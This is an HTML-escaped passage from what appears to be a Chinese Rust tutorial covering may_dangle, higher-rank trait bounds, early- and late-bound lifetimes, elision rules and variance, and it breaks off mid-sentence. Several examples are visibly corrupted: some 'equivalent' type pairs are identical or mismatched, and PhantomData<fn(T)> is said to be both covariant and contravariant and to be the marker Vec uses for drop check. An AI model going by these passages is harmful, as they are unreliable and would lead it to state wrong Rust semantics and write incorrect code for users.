&lt;p&gt;Rust还提供了一个unstable的特性&lt;code&gt;#![feature(dropck_eyepatch)]&lt;&#x2F;code&gt;，允许在实现&lt;code&gt;Drop&lt;&#x2F;code&gt;时将lifetime parameter或type parameter标记为&lt;code&gt;#[may_dangle]&lt;&#x2F;code&gt;，表示其lifetime不必大于struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unsafe impl&amp;lt;#[may_dangle] &#x27;a&amp;gt; Drop for Inspector&amp;lt;&#x27;a&amp;gt; {}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;unsafe impl&amp;lt;&#x27;a, #[may_dangle] &#x27;b, #[may_dangle] T, U: Display&amp;gt; Drop for Inspector&amp;lt;&#x27;a, &#x27;b, T, U&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;一旦使用了&lt;code&gt;#[may_dangle]&lt;&#x2F;code&gt;，就必须标记为&lt;code&gt;unsafe impl&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Rust支持将polymorphic函数作为first-class value，也即通常所说的Higher-Rank Type，但仅限于只有lifetime parameter&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;而没有type parameter&lt;code&gt;T&lt;&#x2F;code&gt;的情况，这个特性称为&lt;em&gt;Higher-Rank Trait Bound&lt;&#x2F;em&gt; (HRTB)。&lt;&#x2F;p&gt;
&lt;p&gt;首先，仅含有lifetime parameter的polymorphic函数会被视为Polytype (&lt;code&gt;*&lt;&#x2F;code&gt;)，而非Type Operator (&lt;code&gt;LT -&amp;gt; *&lt;&#x2F;code&gt;) ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;for&amp;lt;&#x27;a&amp;gt; fn (&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt;: 在函数指针的类型中可以出现&lt;code&gt;for&amp;lt;&#x27;a, &#x27;b, ..., &#x27;n&amp;gt;&lt;&#x2F;code&gt;前缀&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;for&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;表示对于任意&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，显然&lt;code&gt;∀&#x27;a. fn(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt;就是generic函数&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt;的类型&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数可以接受这样的polymorphic函数作为参数，或者将其返回，通过嵌套使用&lt;code&gt;for&amp;lt;...&amp;gt;&lt;&#x2F;code&gt;可以构造任意rank的函数类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;但并不存在&lt;code&gt;for&amp;lt;T&amp;gt; fn() -&amp;gt; T&lt;&#x2F;code&gt;，因为Rust尚不支持含有真正type parameter的polymorphic type，会将其视为Type Operator&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外，仅含有lifetime parameter的trait object也会被视为Polytype（&lt;code&gt;*&lt;&#x2F;code&gt;），而非Type Operator（&lt;code&gt;LT -&amp;gt; *&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;for&amp;lt;&#x27;a&amp;gt; Trait&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;for&amp;lt;&#x27;a&amp;gt; Fn(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt;: 这个用法通常配合&lt;code&gt;Fn&lt;&#x2F;code&gt;、&lt;code&gt;FnMut&lt;&#x2F;code&gt;、&lt;code&gt;FnOnce&lt;&#x2F;code&gt;这三个trait使用，用于指定closure的类型&lt;&#x2F;li&gt;
&lt;li&gt;例如将closure放入box中，得到的类型即为&lt;code&gt;Box&amp;lt;dyn for&amp;lt;&#x27;a&amp;gt; Fn(&amp;amp;&#x27;a i32)&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;for&amp;lt;...&amp;gt;&lt;&#x2F;code&gt;前缀还可以在&lt;code&gt;where&lt;&#x2F;code&gt;子句中使用，如&lt;code&gt;where for&amp;lt;&#x27;a&amp;gt; F: Fn(&amp;amp;&#x27;a i32), G: FnMut(&amp;amp;&#x27;a u8)&lt;&#x2F;code&gt;，相当于&lt;code&gt;where&lt;&#x2F;code&gt;子句中的每个type bound都加了&lt;code&gt;for&amp;lt;...&amp;gt;&lt;&#x2F;code&gt;前缀。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;函数的lifetime parameter存在early-bound和late-bound的区别：&lt;&#x2F;p&gt;
&lt;p&gt;考虑struct&lt;code&gt;List&amp;lt;&#x27;a, T&amp;gt;&lt;&#x2F;code&gt;，若不指定具体的&lt;code&gt;T&lt;&#x2F;code&gt;，则&lt;code&gt;List&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;会被视为type operator，因此我们称&lt;code&gt;T&lt;&#x2F;code&gt;是early-bound的type parameter。对于&lt;code&gt;List&amp;lt;&#x27;a, T&amp;gt;&lt;&#x2F;code&gt;中的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;而言，情况是相同的，&lt;code&gt;List&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;会被视为type operator，必须指定具体的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;才能构成完整的Type，因此&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是early-bound的lifetime parameter。&lt;&#x2F;p&gt;
&lt;p&gt;由于有类型推导的存在，&lt;code&gt;List&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;会被视为&lt;code&gt;List&amp;lt;&#x27;_, T&amp;gt;&lt;&#x2F;code&gt;并自动推导出&lt;code&gt;&#x27;_&lt;&#x2F;code&gt;的值，但编译器实际上仍认为&lt;code&gt;List&amp;lt;&#x27;a, T&amp;gt;&lt;&#x2F;code&gt;才是type，而&lt;code&gt;List&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;只是接受一个lifetime parameter返回一个type的type operator。&lt;&#x2F;p&gt;
&lt;p&gt;对于函数，则&lt;code&gt;for&amp;lt;&#x27;a&amp;gt; fn(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt;是一个合法的type，考虑一个函数指针&lt;code&gt;f: for&amp;lt;&#x27;a&amp;gt; fn(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt;，对其的两次调用&lt;code&gt;f(v1)&lt;&#x2F;code&gt;和&lt;code&gt;f(v2)&lt;&#x2F;code&gt;中，&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;可以实例化为不同的lifetime，也就是说&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是在调用时才进行绑定，因此称其为late-bound lifetime parameter。注意对于late-bound lifetime parameter，不能通过&lt;code&gt;f::&amp;lt;&#x27;static&amp;gt;&lt;&#x2F;code&gt;这样的形式显式地指定其值，也就是说&lt;strong&gt;必须&lt;&#x2F;strong&gt;等到调用时推导。&lt;&#x2F;p&gt;
&lt;p&gt;但是并不是所有函数中的lifetime parameter都是late-bound parameter：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若它出现在where子句中，则为early-bound parameter&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如&lt;code&gt;fn f&amp;lt;&#x27;a, T: &#x27;a&amp;gt;(x: T) {}&lt;&#x2F;code&gt;，若要实例化&lt;code&gt;f&lt;&#x2F;code&gt;，必须提供&lt;code&gt;T&lt;&#x2F;code&gt;，而要提供&lt;code&gt;T&lt;&#x2F;code&gt;，就必须提供&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，因此&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是early-bound的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若它只出现在返回值的类型中，则为early-bound parameter&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;() -&amp;gt; &amp;amp;&#x27;a i32&lt;&#x2F;code&gt;中的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是early-bound的&lt;&#x2F;li&gt;
&lt;li&gt;但&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;()&lt;&#x2F;code&gt;中的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是late-bound的&lt;&#x2F;li&gt;
&lt;li&gt;这个设计似乎仅仅是一个arbitrary decision，没有什么深层次的原因&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;它已经在&lt;code&gt;trait&lt;&#x2F;code&gt;或&lt;code&gt;impl&amp;lt;...&amp;gt;&lt;&#x2F;code&gt;中被绑定，那么自然是early-bound parameter，例如&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;trait Trait&amp;lt;&#x27;a&amp;gt; { fn(x: &amp;amp;&#x27;a i32); }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;impl&amp;lt;&#x27;a&amp;gt; Struct&amp;lt;&#x27;a&amp;gt; { fn(x: &amp;amp;&#x27;a i32) {...} }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;impl&amp;lt;&#x27;a&amp;gt; Trait&amp;lt;&#x27;a&amp;gt; for Struct { fn(x: &amp;amp;&#x27;a i32) {...} }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;为了方便使用，Rust有所谓&lt;em&gt;lifetime elision&lt;&#x2F;em&gt;规则。首先看函数的lifetime elision：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在function item（即function定义）、function pointer类型、&lt;code&gt;Fn, FnMut, FnOnce&lt;&#x2F;code&gt;Trait中，可以省略lifetime&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;建议对于引用直接省略lifetime，对于struct、enum等使用&lt;code&gt;&#x27;_&lt;&#x2F;code&gt;通配符，如&lt;code&gt;fn new(buf: &amp;amp;mut [u8]) -&amp;gt; BufWriter&amp;lt;&#x27;_&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;首先，函数参数中省略的每个lifetime，都会被推导为不同的lifetime parameter&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若函数参数中仅有一个lifetime parameter，则函数返回值中所有省略的lifetime，都会被推导为该lifetime parameter&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于Method，若self参数为&lt;code&gt;&amp;amp;Self&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut Self&lt;&#x2F;code&gt;类型，则函数返回值中所有省略的lifetime都会被推导为self参数的lifetime&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若上述两条都不适用，则函数返回值中省略的lifetime无法推导，不能通过编译&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于trait object，有两套规则：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若通过&lt;code&gt;dyn Foo + &#x27;_&lt;&#x2F;code&gt;指定省略的lifetime，则遵循上述函数的lifetime elision规则&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;fn f(x: Box&amp;lt;dyn Trait + &#x27;static&amp;gt;)&lt;&#x2F;code&gt;等价于&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: Box&amp;lt;dyn Trait + &#x27;a&amp;gt;)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若只指定&lt;code&gt;dyn Foo&lt;&#x2F;code&gt;，则编译器会自动生成&lt;em&gt;default trait object lifetime bound&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;fn f(x: Box&amp;lt;dyn Trait + &#x27;static&amp;gt;)&lt;&#x2F;code&gt;等价于&lt;code&gt;fn f(x: Box&amp;lt;dyn Trait + &#x27;static&amp;gt;)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;default trait object lifetime bound&lt;&#x2F;em&gt;的规则如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若containing type对trait object有唯一的type bound，则就取其作为默认的lifetime bound&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;std::cell::Ref&amp;lt;&#x27;a, dyn Foo&amp;gt;&lt;&#x2F;code&gt;等价于&lt;code&gt;std::cell::Ref&amp;lt;&#x27;a, dyn Foo + &#x27;a&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若没有containing type或containing type对trait object没有type bound，则&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;默认type bound为&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;，例如&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;等价于&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若出现在expression context中，则根据context推导lifetime&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若containing type对trait object有多个type bound，则需要显式指定lifetime bound&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于static或constant声明，默认其lifetime parameter为&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;，因为手动指定时也只能是&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;const STRING: &amp;amp;str = &quot;string&quot;&lt;&#x2F;code&gt;等价于&lt;code&gt;const STRING: &amp;amp;&#x27;static str = &quot;string&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;type-coercion-and-type-cast&quot;&gt;Type Coercion and Type Cast&lt;&#x2F;h2&gt;
&lt;p&gt;首先来看Rust的subtyping规则，实际上在Rust中subtyping只涉及lifetime，即将lifetime进行type erasure后将没有subtyping：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Variance in&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;Variance in&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;td&gt;invariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;*const T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;*mut T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;invariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;[T]&lt;&#x2F;code&gt;and&lt;code&gt;[T; n]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fn() -&amp;gt; T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fn(T) -&amp;gt; ()&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;contravariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;std::cell::UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;invariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;std::marker::PhantomData&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;dyn Trait&amp;lt;T&amp;gt; + &#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;covariant&lt;&#x2F;td&gt;&lt;td&gt;invariant&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;对于struct或enum&lt;code&gt;F&lt;&#x2F;code&gt;，其关于&lt;code&gt;T&lt;&#x2F;code&gt;的variance由其含有&lt;code&gt;T&lt;&#x2F;code&gt;的field的variance决定，若所有含有&lt;code&gt;T&lt;&#x2F;code&gt;的variance一致，则就取该variance，若不一致则为invariant。&lt;&#x2F;p&gt;
&lt;p&gt;下面逐一考察以上规则：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;和&lt;code&gt;dyn Trait&amp;lt;T&amp;gt; + &#x27;a&lt;&#x2F;code&gt;对于&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是covariant的，这在前文介绍&lt;code&gt;&#x27;a : &#x27;b&lt;&#x2F;code&gt;时已经解释过，是因为lifetime更长的可以赋值给lifetime更短的，反之则不行&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;和&lt;code&gt;*const T&lt;&#x2F;code&gt;对于&lt;code&gt;T&lt;&#x2F;code&gt;是covariant的，因为其对&lt;code&gt;T&lt;&#x2F;code&gt;是只读的，只要&lt;code&gt;S &amp;lt;: T&lt;&#x2F;code&gt;，我们就可以将指向&lt;code&gt;S&lt;&#x2F;code&gt;的引用视为指向&lt;code&gt;T&lt;&#x2F;code&gt;的引用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;和&lt;code&gt;*mut T&lt;&#x2F;code&gt;对于&lt;code&gt;T&lt;&#x2F;code&gt;是invariant的，因为其是对&lt;code&gt;T&lt;&#x2F;code&gt;的可读写的引用，下面通过反证法进一步说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;对于&lt;code&gt;T&lt;&#x2F;code&gt;是covariant的，则&lt;code&gt;S &amp;lt;: T&lt;&#x2F;code&gt;时，可以将&lt;code&gt;x: &amp;amp;&#x27;a mut S&lt;&#x2F;code&gt;赋值给&lt;code&gt;y: &amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;，再执行&lt;code&gt;*y = z&lt;&#x2F;code&gt;，其中&lt;code&gt;z: R&lt;&#x2F;code&gt;、&lt;code&gt;S &amp;lt;: R &amp;lt;: T&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;假设&lt;code&gt;y&lt;&#x2F;code&gt;的当前值即&lt;code&gt;x&lt;&#x2F;code&gt;赋值给&lt;code&gt;y&lt;&#x2F;code&gt;的值来自于&lt;code&gt;x = &amp;amp;mut u&lt;&#x2F;code&gt;, &lt;code&gt;u: U&lt;&#x2F;code&gt;，则应有&lt;code&gt;U &amp;lt;: S&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;然而由于&lt;code&gt;U &amp;lt;: S &amp;lt;: R&lt;&#x2F;code&gt;，&lt;code&gt;u&lt;&#x2F;code&gt;的当前值&lt;code&gt;z&lt;&#x2F;code&gt;不一定是一个合法的&lt;code&gt;U&lt;&#x2F;code&gt;，这就说明covariant会导致unsound的结果，因此&lt;code&gt;T&lt;&#x2F;code&gt;必须是invariant的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数&lt;code&gt;fn(T) -&amp;gt; U&lt;&#x2F;code&gt;关于&lt;code&gt;T&lt;&#x2F;code&gt;contravariant，关于&lt;code&gt;U&lt;&#x2F;code&gt;covaraint，这和一般的subtyping理论一致，不需要解释&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;数组&lt;code&gt;[T]&lt;&#x2F;code&gt;、&lt;code&gt;[T; n]&lt;&#x2F;code&gt;是covariant的，因为它们对于&lt;code&gt;T&lt;&#x2F;code&gt;是own而不是borrow的关系，故不会发生&lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;一样的unsound问题&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;dyn Trait&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;是invariant的，因为其成员函数完全可以关于&lt;code&gt;T&lt;&#x2F;code&gt;是invariant的，此时我们只有作最坏推定令&lt;code&gt;dyn Trait&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;总是invariant的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;std::cell::UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;对于&lt;code&gt;T&lt;&#x2F;code&gt;是invariant的，一个简单推论是&lt;em&gt;interior mutability&lt;&#x2F;em&gt;会带来invariance&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;可以提供covariant的&lt;code&gt;T&lt;&#x2F;code&gt;，&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;可以用来提供contravariant的&lt;code&gt;T&lt;&#x2F;code&gt;，还可以有更多组合方式如&lt;code&gt;PhantomData&amp;lt;&amp;amp;&#x27;a T&amp;gt;&lt;&#x2F;code&gt;，因此标准库只需要提供一个&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;就足够了&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;的一个重要作用是为使用裸指针的类型提供lifetime限制，例如使用&lt;code&gt;*const T&lt;&#x2F;code&gt;的类型&lt;code&gt;S&lt;&#x2F;code&gt;可以添加一个&lt;code&gt;PhantomData&amp;lt;&amp;amp;&#x27;a T&amp;gt;&lt;&#x2F;code&gt;类型的成员，此时整个类型变为&lt;code&gt;S&amp;lt;&#x27;a, T: &#x27;a&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;还会被编译器特殊对待，在drop check时&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;会被视为&lt;code&gt;T&lt;&#x2F;code&gt;，即使&lt;code&gt;T&lt;&#x2F;code&gt;并不是&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;的fragment的类型（&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;甚至没有field）。例如&lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;内部也是使用裸指针存放数据，它需要一个&lt;code&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;code&gt;类型的成员，以保证实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;的&lt;code&gt;T&lt;&#x2F;code&gt;中的引用的lifetime严格大于&lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;实例的&lt;em&gt;lifetime&lt;&#x2F;em&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;另外，由于引入了Higher-Rank Type，我们需要引入一条新的subtyping规则，可以称之为subsume或generic instance规则。简而言之，就是&lt;code&gt;A&lt;&#x2F;code&gt;如果比&lt;code&gt;B&lt;&#x2F;code&gt;更polymorphic，我们就说&lt;code&gt;A&lt;&#x2F;code&gt;subsumes&lt;code&gt;B&lt;&#x2F;code&gt;或者&lt;code&gt;A&lt;&#x2F;code&gt;是&lt;code&gt;B&lt;&#x2F;code&gt;的generic instance，记作&lt;code&gt;A &amp;lt;: B&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;现在通过一个经典的例子来进一步解释：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;考虑三个函数类型&lt;code&gt;A = ∀a.a -&amp;gt; a&lt;&#x2F;code&gt;, &lt;code&gt;B = ∀b.[b] -&amp;gt; [b]&lt;&#x2F;code&gt;, &lt;code&gt;C = [Int] -&amp;gt; [Int]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;A&lt;&#x2F;code&gt;代表了一个更大的函数集合，&lt;code&gt;B&lt;&#x2F;code&gt;代表了一个更小的函数集合，&lt;code&gt;C&lt;&#x2F;code&gt;代表单独一个函数&lt;&#x2F;li&gt;
&lt;li&gt;所谓polymorphic的程度，就是其代表的集合的大小，我们有&lt;code&gt;A ⊇ B ⊇ C&lt;&#x2F;code&gt;，就对应于&lt;code&gt;A &amp;lt;: B &amp;lt;: C&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;具体到Rust，就是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;(for&amp;lt;&#x27;a&amp;gt; fn(&amp;amp;&#x27;a i32) -&amp;gt; &amp;amp;&#x27;a i32) &amp;lt;: &amp;amp;(fn(&amp;amp;&#x27;static i32) -&amp;gt; &amp;amp;&#x27;static i32)&lt;&#x2F;code&gt;，因为左边存在一个成员等于右边&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;(for&amp;lt;&#x27;a, &#x27;b&amp;gt; fn(&amp;amp;&#x27;a i32, &amp;amp;&#x27;b i32)) &amp;lt;: &amp;amp;for&amp;lt;&#x27;c&amp;gt; fn(&amp;amp;&#x27;c i32, &amp;amp;&#x27;c i32)&lt;&#x2F;code&gt;，因为左边存在一个子集等于右边&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;为了更好地理解上面的例子，我们需要进一步展开解释。&lt;&#x2F;p&gt;
&lt;p&gt;首先注意到Rust中允许省略type application（例如&lt;code&gt;f::&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;可以略写为&lt;code&gt;f&lt;&#x2F;code&gt;），这属于type inference的一部分。&lt;&#x2F;p&gt;
&lt;p&gt;先不考虑Rust，回顾经典的Type Theory中对此的建模：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;以System F为例，写作的表达式，可以略作&lt;&#x2F;p&gt;
